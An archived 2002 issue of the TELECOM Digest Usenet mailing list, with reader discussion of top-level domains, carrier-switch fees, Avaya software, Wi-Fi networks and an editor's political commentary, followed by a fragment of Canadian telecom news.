me and they did so immediately upon my request:) ------------------------------ From: jmeissen@shell1.aracnet.com (John Meissen) Subject: Last Laugh! Internet Spammer Getting Taste of Own Medicine Date: 7 Dec 2002 06:32:38 GMT Organization: Aracnet Internet West Bloomfield bulk e-mailer Alan Ralsky, who just may be the world's biggest sender of Internet spam, is getting a taste of his own medicine. He says he's been inundated with ads, catalogs and brochures delivered by the U.S. Postal Service to his brand-new $740,000 home. http://www.freep.com/money/tech/mwend6_20021206.htm [TELECOM Digest Editor's Note: Good work, guys! Let's keep them coming in to Mr. Ralsky. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. Contact information: Patrick Townson/TELECOM Digest Post Office Box 50 Independence, KS 67301 Phone: 620-330-6774 Fax 1: 775-255-9970 Fax 2: 775-306-8390 Fax 3: 775-642-0603 Fax 4: 530-309-7234 Email: editor@telecom-digest.org Subscribe: telecom-subscribe@telecom-digest.org Unsubscribe:telecom-unsubscribe@telecom-digest.org This Digest is the oldest continuing e-journal about telecomm- unications on the Internet, having been founded in August, 1981 and published continuously since then. Our archives are available for your review/research. We believe we are the second oldest e-zine/ mailing list on the internet in any category! URL information: http://telecom-digest.org Anonymous FTP: mirror.lcs.mit.edu/telecom-archives/archives/ (or use our mirror site: ftp.epix.net/pub/telecom-archives) Email <==> FTP: telecom-archives@telecom-digest.org Send a simple, one line note to that automated address for a help file on how to use the automatic retrieval system for archives files. You can get desired files in email. ************************************************************************* * TELECOM Digest is partially funded by a grant from * * Judith Oppenheimer, President of ICB Inc. and purveyor of accurate * * 800 & Dot Com News, Intelligence, Analysis, and Consulting. * * http://ICBTollFree.com, http://1800TheExpert.com * * Views expressed herein should not be construed as representing * * views of Judith Oppenheimer or ICB Inc. * ************************************************************************* ICB Toll Free News. Contact information is not sold, rented or leased. Access to Premium (P) links requires upgrade to a paid subscription. One click a day feeds a person a meal. Go to http://www.thehungersite.com Only subscribers or registered users of ICB Toll Free News web site will be able to access all or some of the full text of URLs provided. LEGAL STUFF: TELECOM Digest (sm) is owned by Patrick Townson. Copyright 2002 ICB, Inc. and TELECOM Digest. All rights reserved. Our attorney is Bill Levant, of Blue Bell, PA. In addition, gifts from Mike Sandman, Chicago's Telecom Expert have enabled me to replace some obsolete computer equipment and enter the 21st century sort of on schedule. His mail order telephone parts/supplies service based in the Chicago area has been widely recognized by Digest readers as a reliable and very inexpensive source of telecom-related equipment. Please request a free catalog today at http://www.sandman.com --------------------------------------------------------------- Finally, the Digest is funded by gifts from generous readers such as yourself who provide funding in amounts deemed appropriate. Your help is important and appreciated. A suggested donation of twenty dollars per year per reader is considered appropriate. See our address above. Please make at least a single donation to cover the cost of processing your name to the mailing list. All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #169 ****************************** >From editor@telecom-digest.org Sun Dec 8 16:26:06 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB8LQ6j20017; Sun, 8 Dec 2002 16:26:06 -0500 (EST) Date: Sun, 8 Dec 2002 16:26:06 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212082126.gB8LQ6j20017@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #170 TELECOM Digest Sun, 8 Dec 2002 16:26:00 EST Volume 22 : Issue 170 Inside This Issue: Editor: Patrick A. Townson Avaya Voice Announcement Over Lan Mngr Software Release (David De Trolio) Re: Is Share Day Message Spam (Hank Karl) Re: Business Line vs Residential Line (in Kentucky) (Gary Novosielski) Re: Ten TLD's (s falke) Re: Ten TLD's (AES/newspost) Re: Ten TLD's (SELLCOM Tech support) Re: Ten TLD's (Garrett Wollman) Re: Ten TLD's (Neal McLain) Re: Ten TLD's (Walt Howard) Re: Ten TLD's (Joey Lindstrom) Re: Ten TLD's (Linc Madison) Re: Tech Titans Launch Wi-Fi Company (Tom Betz) Re: WebCam: A Sight for Sore Eyes (davidgo@excite.com) Re: Changing to ECG Long Distance (Linc Madison) How Good is Your Phone Directory's Area Code Map? (Linc Madison) High-Speed Wireless Internet Network Is Planned (Monty Solomon) Re: Off-topic, but ... (Jim) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Reply-To: David De Trolio From: David De Trolio Subject: Avaya Voice Announcement Over Lan Manager Software Release Date: Sat, 7 Dec 2002 23:36:09 -0500 We received the software above when we installed our new MultiVantage dual S8700 servers and new announcement board this Fall. I just installed the software Friday night, and not matter what I try or do, the software will connect to my main S8700 server over my LAN, but doe snot see or find the board. I also checked the ReadMe file and went through all the possible problems and made sure I was hitting the correct port and card, all is fine. Any assistance or tips are appreciated. We have installed four S8300 units with a G700 blade in them off our S8700's, and so far they are working well. As usual, there are patches and upgrades, both the S8700 and the S8300 are going to a load 2.0 with two hundred plus fixes according to information I have found. It is FAR better then the horrible R300 product which we were going to use for our small office solution. Thanks again ... Dave ------------------------------ From: Hank Karl Subject: Re: Is Share Day Message Spam Date: Sat, 07 Dec 2002 23:35:25 -0500 On Thu, 05 Dec 2002 15:52:17 -0500, in comp.dcom.telecom TELECOM Digest Editor wrote: > [TELECOM Digest Editor's Note: The person who wrote this message is > not the same person whose message I put in anonymously originally. This > person who wrote this latest suggestion (about an Exhibit Hall sort of > thing with the Digest as part of it) makes an interesting suggestion. I > would like to hear more about it. The *only* way I would consider it > would be if the telecom mailing list and anything to do with the 'trade > show exhibition hall' were kept <---------> this far apart from each > other. If someone would like to set up such a web site (it could *NOT* > be done on massis.lcs.mit.edu -- that would be Very Naughty --) I would > like to hear about it. Links on that 'virtual tradeshow' page could link > over here, and the other way around. Hi Pat, You'd probably only need one or two links from Telecom Digest, (and an occasional mention in the NG). > But one serious problem would be, how much courtesy do *I* have to > give the trade show people? If some vendor started something that > was really a rip off, do I have to stay quiet about it here on the > Digest? As a long-time reader, I doubt you would be able to stay quiet about any rip-offs. :-) And that may lose you an ""exhibitor"" or two. But it would increase the value of the ""exhibit hall"", which means that you'll get more ""exibitors"" or be able to charge each ""exhibitor"" more, or both. On the other hand, if you were to endorse one or two products at the expense of all others, it may alienate the other ""exhibitors"". A simple statement on the ""exhibit hall"" that these are paid listings, and you neither endorse them or evaluate them in depth would be appropriate (if its true, of course). I would expect you to use your experience and expertise to create an easy to navigate set of web pages, and to categorize things appropriately. For a counter-example, Yahoo doesn't do a great job of categorizeing Telecom. The ease-of-finding-what-you-want (especially when you don't know exactly what its called) is some of the value you would add. > Many of you may remember, but some of you do not remember when > Microsoft was a sponsor here a number of years ago. Those of you who > do remember thought it was a bum deal, and that I would be marching > to a new tune as of that day. As a matter of fact I did not > entertain any messages here denouncing Microsoft for over a > year. And the money *they* paid me enabled me to live in the style > to which I am (or was) accustomed for a year or so. > I am *not* saying Microsoft is/was a 'ripoff', and I still do not > say much about them, but the messages I printed about them in those > days did leave me feeling a little squeamish at times. Then many of > you will remember how, for years, I had ITU as a sponsor here, then > we had that series of messages about ICANN and ITU got ticked and > pulled out. Robert Shaw of ITU was the ICANN booster who did that > dirty deed, but I have no hard feelings about it. I wonder just how > long this 'virtual trade show/exhibition hall thing would last? If > anyone wants to try and start it and serve as the 'manager' of the > Exhibition Hall, then do so and keep me posted on it. But, I do have > Mike Sandman for the 'I want to buy XXXX' purposes; Judith > Oppenheimer for advice on toll-free issues, etc. I suggest a low fee and a lot of subscribers, so that you're not dependent on any one company. Also, the more companies and categories you have, the more valuable your site becomes because people will find what they are looking for. > Now days, my de-facto 'sponsor' is Uncle Sugar, of course, compliments > of the nearly three months I spent comatose during the brain aneurysm > and the year or so afterward I spent in therapy and rehabilitation. > Uncle Sugar lets *anyone* sass him; he just does not pay attention, > and even I know where to draw the line on giving him a *really* hard > time. And for whatever bad things we can say about him, at least he > does not spam the net, and he enables me to sit around at my computer > all day doing things like http://weatherforecast.n3.net , > http://friends-of-indy.n3.net , http://telecom-digest.org/fixclock/ > and similar for my own amusement. > Let's give some serious thought to the exhibition hall idea. And as > for you, anonymous poster who requested name witheld, I *am* sorry you > felt very put-upon several years ago and remained silent since > then. Really, I am. I do not even remember the spat we had back then. > All is forgiven, okay? PAT] ------------------------------ From: Gary Novosielski Subject: Re: Business Line vs Residential Line (in Kentucky) Date: Sun, 08 Dec 2002 04:38:04 GMT Ed Ellers wrote in message news:telecom22.163.3@telecom-digest.org: > I don't think the IRS will allow a business deduction for a > residential line, and ISTR reading somewhere that you can't even > deduct a business line if it's the only line coming into a residence. I think they'll let you deduct it if it is used exclusively for business purposes, such as might be the case in a home office. Therefore, they would be *especially* suspicious it if it were the only line coming in, because they would have to buy your presumption that you *never* made any personal calls whatsoever. They don't really care what you pay for it or what the phone company calls it, they care how it's actually used. In either case, you can deduct business phone calls if you document them, but the cost of the line itself is what's at issue. ------------------------------ From: s falke Subject: Re: Ten TLD's Organization: Prodigy Internet http://www.prodigy.com Date: Sat, 07 Dec 2002 22:17:37 GMT > And ... coming soon: > .pro (http://www.nic.pro) Isn't that misspelled? Thought surely it was http://www.nic.porn s falke ------------------------------ From: AES/newspost Subject: Re: Ten TLD's Date: Sat, 07 Dec 2002 15:14:44 -0800 In article , Ron Bean wrote: > Joey Lindstrom writes: >> Nine now, ten very soon. For your viewing pleasure, they are: >> .com (for ""commercial"" sites) >> .net (for network infrastucture sites, now used by anyone) >> .org (for mostly non-profit organizations, now used by anyone) >> .aero (http://www.nic.aero) >> .info (http://www.nic.info) >> .biz (http://www.nic.biz) >> .museum (http://www.nic.museum) >> .name (http://www.nic.name) >> .coop (http://www.nic.coop) >> And ... coming soon: >> .pro (http://www.nic.pro) > What about .gov and .mil? (do they still use .mil?) > And can anyone explain to me why most ISPs are .com and not .net? Where's .edu ? ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ From: SELLCOM Tech support Subject: Re: Ten TLD's Organization: www.sellcom.com Reply-To: support@sellcom.com Date: Sun, 08 Dec 2002 02:20:46 GMT Ron Bean posted on that vast internet thingie: > What about .gov and .mil? (do they still use .mil?) We still get occasional ""mil""speck spam ... >And can anyone explain to me why most ISPs are .com and not .net? Don't worry it is nothing to do with ""com""unism. It may be that it is because they are commercial businesses and thusly decided to protect themselves by renting different domain names. It may well have started like this: ""Hey, I got our system up and running and we already have users."" ""Great, but our website says ""whatever"".com instead of ""whatever"".net."" ""I thought that was what you wanted. I could change it."" ""No, that's alright."" Then across town ... ""Hey, Bill, ""whatever"" is using .com instead of .net. We need to get with the 20th century ..."" And as they say, the rest is history. Steve at SELLCOM http://www.sellcom.com Discount multihandset cordless phones by Siemens, Vtech 5.8Ghz EnGenius NEW EP436 4line (the longest range), Panasonic, Twinhead notebooks, WatchGuard firewall, Okidata, Polycom! If you sit at a desk www.ergochair.biz you owe it to yourself. ------------------------------ From: wollman@khavrinen.lcs.mit.edu (Garrett Wollman) Subject: Re: Ten TLD's Date: 8 Dec 2002 02:26:53 GMT Organization: MIT Laboratory for Computer Science In article , Ron Bean wrote: > And can anyone explain to me why most ISPs are .com and not .net? Because most of their potential customers are morons who don't/won't/can't understand the difference. -- Garrett A. Wollman | [G]enes make enzymes, and enzymes control the rates of wollman@lcs.mit.edu | chemical processes. Genes do not make ``novelty- Opinions not those of| seeking'' or any other complex and overt behavior. MIT, LCS, CRS, or NSA| - Stephen Jay Gould (1941-2002) [TELECOM Digest Editor's Note: Our three ISPs here in Independence are all '.net's. (1) terraworld.net, [independent] (2) hit.net [Horizon Internet Technologies; the Radio Shack guy here in town] and (3) sbcglobal.net [our friends the telephone company]. ISPs here don't have any morons for customers. In fact, there is some city ordinance which forbids morons from taking up residence here. They're not wanted in town. :). The other day, a note in the postal mail said that terraworld now is offering its own brand of DSL service, and they recently started a telco to compete with SWB as well. The only .com we have in town is amazon.com, which is not a carrier like the other three. We also have an '.edu' here: Independence Community College, and the schools and city government all use '.us' addresses. PAT] ------------------------------ Date: Sat, 07 Dec 2002 20:22:16 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: RE: Ten TLDs Joey Lindstrom wrote: > Subject: Ten TLD's > Nine now, ten very soon. For your viewing pleasure, they are: > [...] > .coop (http://www.nic.coop) And a domain name for ICANN would be . Neal McLain nmclain@annsgarden.com ------------------------------ From: howard@build1.ee.ualberta.ca (Walt Howard) Subject: Re: Ten TLD's Date: Sun, 8 Dec 2002 05:51:54 UTC Organization: A poorly-installed InterNetNews site In article , Ron Bean wrote: > What about .gov and .mil? (do they still use .mil?) Yes, they still use .mil, but Milnet is separate from the commercial Internet and the gateways are limited in number. > And can anyone explain to me why most ISPs are .com and not .net? Here's an opinion: When management of the domain name system was handed over to Network Solutions, Inc (now part of Verisign), they were more interested in making money than maintaining the vision of the people who had originally set up DNS, so they opened .net and .org up to everyone and encouraged large outfits to register names in all three zones - they got more fees that way than by keeping network providers in .net, noncommercial outfits in .org, and non-network commercial firms in .com. Too many ISPs understand money better than they understand networking (or sometimes their customers are like that), and they went for .com so their salescritters wouldn't have to explain to customers what .net meant. Walt Howard /""\\ ASCII Ribbon Campaign InterNet: whoward@ieee.org \\ / No HTML in mail or news! BellNet: +1 780 492 7262 / \\ ------------------------------ From: Joey Lindstrom Date: Sat, 07 Dec 2002 22:52:37 -0700 Subject: Re: Ten TLD's Reply-To: joey@garynuman.info Since my original posting, there've been a few replies here plus I got this one in private email. Since the writer didn't choose to post it to this forum, I must assume that the writer values privacy so I won't identify who wrote it. The points made are valid, though. ==================BEGIN FORWARDED MESSAGE================== You forgot a few: .arpa (used for infrastructure stuff, no more email addresses I know of) .edu (schools of various sorts, www.educause.edu) .gov (now US Fed'l government, others grandfathered, www.nic.gov) .int (international treaty organizations, apply to IANA with treaty in hand) .mil (US military, www.nic.mil) > Nine now, ten very soon. For your viewing pleasure, they are: > .com (for ""commercial"" sites) > .net (for network infrastucture sites, now used by anyone) > .org (for mostly non-profit organizations, now used by anyone) > .aero (http://www.nic.aero) > .info (http://www.nic.info) > .biz (http://www.nic.biz) > .museum (http://www.nic.museum) > .name (http://www.nic.name) > .coop (http://www.nic.coop) >And ... coming soon: > .pro (http://www.nic.pro) ===================END FORWARDED MESSAGE=================== Absolutely correct. I was thinking in terms of ""publicly available"" ones only, but failed to make that clear: my bad. Upon further reflection, though, an .edu address is probably easier to obtain than .museum, .coop, .aero or .pro., so I shouldn't have even tried to make that distinction. Plus, while I was aware of the existence of these extra five: 1) I had thought .arpa to be completely phased out and thus no longer really in existence. If I'm mistaken, then again: my bad. :-) 2) I dunno, I had kinda lumped .int into my mind as sorta like ccTLD's. Again upon further reflection, I guess it's more along the lines of .gov than any ccTLD, so point taken. So, the above list (fifteen TLD's) account, to the best of my knowledge, the range of TLD's outside of ccTLD's. Aside to John Higdon. .kids doesn't exist. If you're going to be paranoid, at least have the grace to be paranoid about the real world. :-) / From the desk of Joey Lindstrom / / I got a chain letter by fax. It's very simple. You just fax a dollar / bill to everybody on the list. / --Steven Wright [TELECOM Digest Editor's Note: And don't forget '.us' as one in somewhat infrequent use. PAT] ------------------------------ From: Linc Madison Subject: Re: Ten TLD's Date: Sun, 08 Dec 2002 00:13:47 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Robert Bonomi wrote: > .int (international 'treaty' organizations) Very small nit-pick: it's any international organization, not just international 'treaty' organizations. For example, is not a 'treaty' organization at all, although it is telecom-related. In the same thread, in article , Ron Bean wrote: > And can anyone explain to me why most ISPs are .com and not .net? Simple. Type any word or name into most web browsers and hit 'enter'. If you type aslkjdflkasdflj, they will try: http://aslkjdflkasdflj http://aslkjdflkasdflj.com http://www.aslkjdflkasdflj.com in that order. They will never try dot-net, with or without the www prefix, unless they also do a search engine dip and come up with that site and not the dot-com version of the name. Anyway, most ISPs I know of are *both* .com and .net of the same name (e.g., earthlink.net and earthlink.com). www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Tom Betz Subject: Re: Tech Titans Launch Wi-Fi Company Date: Sun, 8 Dec 2002 00:23:16 UTC Organization: XOme Quoth Monty Solomon in news:telecom22.167.15@telecom- digest.org: > Intel, IBM and AT&T have officially thrown their combined weight > behind the effort to create a nationwide network of public ""hot spots"" > that would give people wireless broadband Internet access from just > about anywhere. A day late and a dollar short. By the time this gets up and running, true 3G (not that ""2.5G"" crap) will provide all the bandwidth mobile users will need at reasonable all-you-can- eat prices. ------------------------------ From: davidgo@excite.com Subject: Re: WebCam: A Sight for Sore Eyes Organization: AT&T Broadband Date: Sun, 08 Dec 2002 00:10:49 GMT Pat-- You can use Netmeeting to show your camera to any (only one at a time) person. Are you familiar with Netmeeting? It is part of all the Windows programs (even XP, although it is hidden) and has audio and video chat as well as the ability to transfer files and share the desktop for helping fix problems. Let me know if you want to experiment with Netmeeting. David TELCOM Digest Editor's Note: Thanks for your note about net meeting. I do know how to use it, although I do not have much interest in it. Yahoo is superior in that you can use video in a meeting room with several watching at once. If only one is watching and you both have DSL (or any high speed broadband) then the two of you can use what Yahoo calls 'super cam' or 'turbo cam' (not sure of the exact name) but you get real time movement of arms, legs other body parts, etc. Not just 'jerk motions' every eight or ten seconds. What I really want is software that can take in images from my cam, and put them back out on my web page, enabling any number of viewers. I will install the cam in my back yard by my weather station ( http://weatherforecast.n3.net ) so people can view the weather conditions. I *could* do this with cameraware.com but there is no way to do a redirect (in a frame for example) TO MY PAGE ONLY (thus bypassing all the rauchy stuff elsewhere on the site.) I have tried, but the outbound pages at cameraware are written in some exceptionally tricky javascripts. I cannot get around them ... that I know of. But thanks for the hint on metmeeting. PAT] ------------------------------ From: Linc Madison Subject: Re: Changing to ECG Long Distance Date: Sat, 07 Dec 2002 23:54:15 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Ian wrote: > Verizon stated that the $15.00 would be because I had two lines and > covered AT&T's charges as well. Verizon had to make the switch of > carriers for me and they did so immediately upon my request:) That doesn't address the real question. Is Verizon telling you that AT&T (your old carrier) is charging you (or charging Verizon) a fee for your switch to ECG (your new carrier)? If Verizon is in any way suggesting that AT&T will bill you a fee for the change, they are lying to you. If Verizon is in any way suggesting that they are charging you a fee because AT&T charges them a fee for your change, they are lying to you. Verizon will charge you a fee because they have to have someone change the setting on your account, and that involves actual human labor. I don't really know how much human labor, whether or not $7 to $8 is a reasonable charge per line, but at least some work is performed. If you have two lines, and you are changing both the inter-LATA and intra-LATA carrier, then $15 is about what Verizon will charge you to switch, but that doesn't ""cover"" *ANY* ""AT&T charges"" at all. Depending on the terms under which you signed up, your new carrier may or may not reimburse you the charge from Verizon to change carriers. My most recent carrier change did not reimburse me, but their rates are low enough I think I'll be net ahead in a couple of months, tops. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Linc Madison Subject: How Good is Your Phone Directory's Area Code Map? Date: Sun, 08 Dec 2002 00:27:45 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com I'd like to ask the readers of this forum to help me with a little informal, non-scientific survey on a subject near and dear to my heart. Specifically, I'd like to know what U.S. and Canadian readers think of the quality of the area code map printed in the front of your local phone book. (Readers from other parts of the world, I'd be interested to know if your directories have similar maps, or only lists of cities and towns.) Is it current? Is it accurate? If you choose to participate in this survey, please include the following information: * city, state/province, and cover date of the directory (e.g., Foo-barre, IN, September 2002) * dominant LEC(s) in the directory's service area (e.g., 80% SBC/Ameritech, 20% Verizon/GTE) * publisher of the directory (especially if it's not the dominant LEC) I'm particularly interested to hear how well the smaller players compare to the big boys. You can, of course, use my own map on my web site as a reference point for accuracy :-) www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ Date: Sun, 8 Dec 2002 10:21:37 -0500 From: Monty Solomon Subject: High-Speed Wireless Internet Network Is Planned By JOHN MARKOFF SAN FRANCISCO, Dec. 5 - The wireless technology known as WiFi, which allows users of personal and hand-held computers to connect to the Internet at high speed without cables, got a significant stamp of approval today when AT&T, I.B.M. and Intel announced a new company to create a nationwide network. The unruly technology, which has largely been a playground for hackers, hobbyists and high-technology start-ups, is already sprouting mushroomlike in coffee shops, bookstores, airports, hotels, homes, businesses and even a few parks. The new company, Cometa Networks, has set ambitious goals for itself: to deploy more than 20,000 wireless access points by the end of 2004, placing an cable-less high-speed Internet connection within either a five-minute walk in urban areas or a five-minute drive in suburban communities. Executives from the technology companies and the two investment firms, Apax Partners and 3i, that joined to create the network said they would begin offering their service through cellular and wired telephone companies, D.S.L. and cable Internet service providers and other Internet retailers some time in 2003. The service is intended to let subscribers pop open their laptops and have a seamless high-speed wireless extension of their personal or corporate Internet services -- initially in the 50 largest metropolitan areas -- without having to give credit card numbers or enter additional information, as is generally the case now. Connections would generally be at least the speed of a typical home broadband connection. http://www.nytimes.com/2002/12/06/technology/06WIRE.html ------------------------------ From: Jim Subject: Re: Off-topic, but ... Date: Sun, 08 Dec 2002 13:24:06 -0500 Joey Lindstrom wrote: > ... I just can't leave this without replying. For those who do not > wish to read any continuation of the ""Thanksgiving"" thread, please > skip to the next message. > On Wed, 4 Dec 2002 22:08:47 EST, editor@telecom-digest.org > wrote: >> [TELECOM Digest Editor's Note: Your fourth paragraph tells where >> things are really at with you: 'Not going to apologize for Chris >> Columbus and others in that era.' Do you feel it has now been so long >> ago, everyone should just forget about it? I mean, the Europeans (of >> that day) just moved in and took over. The ancestors of the Europeans >> of that day are now referred to as Americans of course, but one thing >> continues to live on; their arrogance and feelings of superiority. > Let me ask you two questions, Pat. > 1) Why should I apologize for any of those people? I wasn't here. > They're not related to me either directly or indirectly (well, maybe > WAY, WAY back in the ol' family tree). My paternal > great-grandparents (both sides) emigrated to Canada from Sweden in > the early 1900's. My mother emigrated to Canada in 1965 from > England. We had nothing to do with any of these events. And even if > my relatives came over on the Mayflower, *THEY* are the > ""perpetrators"". Not me, not my family. Forget about these things? > No. Continue to feel guilty about them? Hell no. Why should *I* > apologize on behalf of the ""perpetrators""? They had their chance to > do so. > 2) When do the hatred and hard feelings end, Pat? Look at the lunacy > going on in, say, Northern Ireland right now. You've got two > religious groups doing battle on an almost daily basis over a tiff > that started centuries ago. One side attacks the other. The attacked > side retaliates the next day. WHEN DOES IT END? When we've destroyed > each other? Or can we come together at some point, forgive past > transgressions, and agree to build a new future together? > BTW, I feel the same way about this ""slavery reparations"" argument > that comes up from time to time. Nobody living today ever benefited > from slavery, and nobody living today ever was victimized by it (note: > when I say ""slavery"", I'm talking about the legal institution of > slavery, and leaving out isolated criminal incidents that have > happened since emancipation). Why should those who never benefited > have to pay reparations to those who were never harmed? Yes, slavery > was A Bad Thing, but again - how long are we going to be angry at > each other? > Joey Lindstrom - Laird's Flooring > joey@lairdsflooring.com > [TELECOM Digest Editor's Note: I've worked my family tree back to 1635 > on my father's side of the family; the *original* Townsends here in > the USA came from England around that time. One of the Townsend bunch > migrated from Long Island, NY down to the Carolinas, then through the > Appalachin Mountains into Georgia by sometime in the 1800's, then to > Blairsville, GA in the late 1800's; then via Tulsa, Indian Territory > and Tahlequah, Indian Territory (later Oklahoma) then into Coffeyville, > KS at the start of the 20th century. On my mother's side, I have traced > the Mahans back to 1840 when they came from Ireland. I agree with you > that at some point the hostilities should come to an end. Maybe the > hostility will end when Dubya and his cronies get off their arrogance > kick regarding the middle east; in other words, no time soon. PAT] Yeah everyone knows that Middle East violence is caused by President Bush, and no violence existed before he took office. Appeasing thugs has always worked so well throughout history as well. Tracing family trees is fun, but what happened long before any of us were born is hardly reason to feel guilty for world history. Should we hang ourselves with shame if our ancestors were part of the Roman Empire in its imperial days too? Should you feel guilty, and maybe even owe me reparations, if your cave man ancestors attacked my family's ancient cave? [TELECOM Digest Editor's Note: It isn't *quite* that simple. You make several good points, but, although there has been violence in the middle east over the years, it seems to me it is exaberated by the United States. We can do nothing about Al-Quaida or Mr. Sodomy Insane, but we do not have to egg them on, inviting them to cause trouble. The USA should mind its business and stay out of troublesome situations like the middle east. Why does the USA have to stick its nose into things and then act so offended when someone retaliates. I mean, with the way the USA is *always* getting into things, it was only going to be a matter of time before one of those guys pushed back. When is the last time you ever saw Switzerland get into a war? Why did the attack on WTC and the Pentagon cause so much consternation? If you foolishly mix up a bunch of volitile chemicals as Bush II, Clinton, Ray Gun, Bush I have all done with their arrogance over the years, why don't you expect an explosion now and then? I mean, the whole Bush family; what a hot team! And Clinton was a liar/sex maniac from the start also. Look at Bush II and the 'Christians' who hang on his every word. He has no more use for them than Clinton did for gay guys. Just another block of voters to be lied to and hopefully appeased. But the 'Christians' keep egging on Bush, hoping he will provide the Armaggeon they keep hoping for and praying about. Regards the Indians we had started talking about; this was not just a simple genocide; the earliest Americans literally wiped out the entire nation. I don't see what good apologies would do either at this late date, but I would like to see more modern-day Americans mortified and embarassed by what happened; not just naming baseball and football teams after Indians. But as long as the United States government stays on its arrogant and foolish ways; I see no hope. Imagine this scenario: five hundred years from now, when the USA has long been forgotten about except in history books as 'that nation whose arrogance and foolishness and pride caused it to be defeated in a major conflagration with the east 498 years ago .... ' the newspapers (or whatever the media in that day happens to be) announces a sports team playing in Bhagdad, called the 'Bhagdad Americans', who will be competing in baseball against the 'Cairo Yankees'. What's the difference when we now have a team called the 'Cleveland Indians'? The oldest civilizations in the world lasted a few hundred years before they were detroyed. How long did the Roman empire last? How long does the 'American Empire' get before it also is gone? We've been around over two hundred years already, so our time is beginning to run short. And around two or three hundred years into the Roman Empire, *they* were pretty arrogant also and expected to be around forever. A hymn we sang in church today was 'Turn Back Oh Man, Forswear Thy Foolish Ways'. And our government, regretably, knows all about foolishness and arrogance. So President Bush (or Dubya for short), here is an Editor's Note just for you: Al-Quaida is gonna get you if you don't can the balogna pretty quick now. Watch and see. My Sunday Sermon has already ran overtime for today. Bye until tomorrow, everyone. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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It must now pay within 30 days to avoid default. The cellco says it is continuing refinancing discussions with its banks and lenders. ** Dominion Bond Rating Service has reduced Microcell's debt rating to ""D"" -- its lowest. GT CUTS STAFF BY ONE-THIRD: On December 5, Group Telecom laid off 250 employees, more than a third of its staff. GT says integration with its new owner, 360networks, may result in further cuts. BCE SUED OVER EXCEL, TELEGLOBE: Dallas-based VarTec Telecom, which bought multi-level marketer Excel Communications for US$250 million from BCE in April, is now suing to get its money back. VarTec says BCE's decision to pull support from Excel's former parent, Teleglobe, violated promises it made during negotiations. ** BCE says VarTec's claim is ""without merit or foundation"" and promises ""to vigorously defend its position."" RIM INTROS TWO NEW BLACKBERRIES: Research In Motion has introduced BlackBerry e-mail/phone devices that work on iDEN (Mike in Canada) and 1XRTT networks. REPORT QUESTIONS BCE ACCOUNTING: Under Canadian accounting rules, BCE has earned $10.77 billion since 1999, with very large year-to-year swings. A new report by Mark Rosen of Accountability Research says that using U.S. rules for the same period would change that to a $1.25 billion loss. ** Rosen criticizes the non-standard ""baseline earnings"" measure BCE often reports. By excluding one-time costs and gains, it puts BCE's earnings since 1999 at $4.36 billion, but with much less year-to-year volatility. CGI BIDS TO ACQUIRE COGNICASE: CGI Group has offered to buy Cognicase, another Montreal-based IT services outsourcer, for $313 million. Cognicase has formed a committee to consider the offer, which its CEO says does not reflect the company's value. BELL BROKE WINBACK RULES, CRTC SAYS: In a sharp reprimand, the CRTC says Bell Canada violated regulations that require a 90-day waiting period before a telco tries to win back a local customer who has switched to a competitor. Bell argued that the ban did not include the time before the actual switch took place; the CRTC says it begins when the telco is informed of the customer's decision, and continues until 90 days after the switch is completed. ** Bell has 60 days to spell out the measures it will take to prevent further violations. http://www.crtc.gc.ca/archive/ENG/Decisions/2002/dt2002-73.htm CRTC SEEKS COMMENT ON PAYPHONE ACCESS: In Public Notice 2002- 6, the CRTC asks for comment on consumer reliance on public payphones, how quickly telcos are withdrawing them from service, and whether payphones should be more accessible to the deaf. Interested parties must register by December 19, but those who simply want to submit a written comment have until May 1 to do so. http://www.crtc.gc.ca/archive/ENG/Notices/2002/pt2002-6.htm CRTC CLARIFIES SCOPE OF CDNA PROCEEDING: In Decision 2002-75, the CRTC says that the CDNA proceeding may consider variable markups and compensation to competitors providing wholesale services, as well as all other topics challenged by Telus in November. (See Telecom Update #344, 351) 